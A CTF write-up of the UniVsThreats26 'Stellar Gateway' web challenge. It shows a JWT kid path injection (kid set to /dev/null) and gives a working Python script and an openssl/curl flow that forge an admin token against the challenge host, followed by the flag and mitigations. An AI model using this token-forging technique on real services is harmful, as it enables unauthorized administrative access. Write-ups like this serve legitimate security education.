> ESC
← Posts

Stellar Gateway - UniVsThreats26 Quals Web

📅 2026-03-06 📂 Writeup 3 min read
WebJWTkid Header InjectionPath TraversalCTFUniVsThreats26
TL;DR:
Abusing a JWT kid path lookup to /dev/null lets us sign our own admin token with an empty key, unlock the USS Threads Command Center, and capture the flag.

Category: Web
CTF: UniVsThreats26 Quals
Target: http://194.102.62.166:27721/


TL;DR

The server loads the JWT signing key from a file path given in the kid header. Pointing kid to /dev/null makes the key an empty string, so we can sign our own "role": "admin" token with HS256 and grab the flag from /admin/flag.


Recon

  • / is a space-themed landing page linking to /login.
  • Viewing /login source shows two comments:
    • Base64 troll: SGFoYWhhX25pY2VfdHJ5X2J1dF9JX2Rvbid0X2hpZGVfZmxhZ3NfaW5fc291cmNlX2NvZGU6KSkpKSkpKSkpKQ==
    • Valid test creds: pilot_001 / S3cret_P1lot_Ag3nt
  • Logging in sets a session JWT:

Header:

{"alg":"HS256","typ":"JWT","kid":"galactic-key.key"}

Payload:

{"sub":"pilot_001","role":"crew","iat":1772275634}

/my-account shows role crew with a link to /bridge only; admin likely has more.


Vulnerability — JWT kid Path Injection

  • The server treats kid as a file path for the HMAC key.
  • Setting kid to /dev/null makes the verifier read an empty key (b"").
  • We can forge any token by signing with an empty key and the same header.
  • Why /dev/null? On UNIX, reading /dev/null returns zero bytes; the HMAC verifier uses that as the secret, so signing with b"" matches verification.
  • The server never validates kid against an allowlist nor strips path separators, so arbitrary file paths are accepted.

Exploit — Forge Admin Token

Python helper to mint an admin token:

import json, base64, hmac, hashlib

def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = {"alg": "HS256", "typ": "JWT", "kid": "/dev/null"}
payload = {"sub": "administrator", "role": "admin", "iat": 1772196447}

h = b64url(json.dumps(header, separators=(',', ':')).encode())
p = b64url(json.dumps(payload, separators=(',', ':')).encode())
sig = hmac.new(b"", f"{h}.{p}".encode(), hashlib.sha256).digest()
token = f"{h}.{p}.{b64url(sig)}"
print(token)

Generated token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9kZXYvbnVsbCJ9.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzcyMTk2NDQ3fQ.yIm9iVdxtj3Wvrm4Gu13283DD6iShM2arlFARSeZVBA

Use it as the session cookie:

curl -s http://194.102.62.166:27721/my-account \
  -H "Cookie: session=<forged_token>"

The page now shows Identity: administrator, Clearance: ADMIN, and a COMMAND CENTER button to /admin, which links to /flag.

Minimal curl-only flow (no Python):

h='{"alg":"HS256","typ":"JWT","kid":"/dev/null"}'
p='{"sub":"administrator","role":"admin","iat":1772196447}'
H=$(printf '%s' "$h" | openssl base64 -A | tr '+/' '-_' | tr -d '=')
P=$(printf '%s' "$p" | openssl base64 -A | tr '+/' '-_' | tr -d '=')
S=$(printf '%s' "$H.$P" | openssl dgst -sha256 -mac HMAC -macopt hexkey: | \
    awk '{print $2}' | xxd -r -p | openssl base64 -A | tr '+/' '-_' | tr -d '=')
TOKEN="$H.$P.$S"
curl -s http://194.102.62.166:27721/admin -H "Cookie: session=$TOKEN"

Flag

UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}

Why It Works / Mitigations

  • JWT libraries let apps supply custom key resolvers via kid; here the resolver reads files directly from disk using the client-supplied path.
  • Any path that yields predictable content works (e.g., /dev/null → empty key). If /proc/self/environ had been readable, that could leak secrets instead.
  • Fixes:
    • Map kid to keys via an allowlist (dict) instead of file paths.
    • Reject kid containing slashes or ...
    • Use asymmetric JWTs (RS256/ES256) with public-key verification and rotate keys via KMS, not filesystem paths.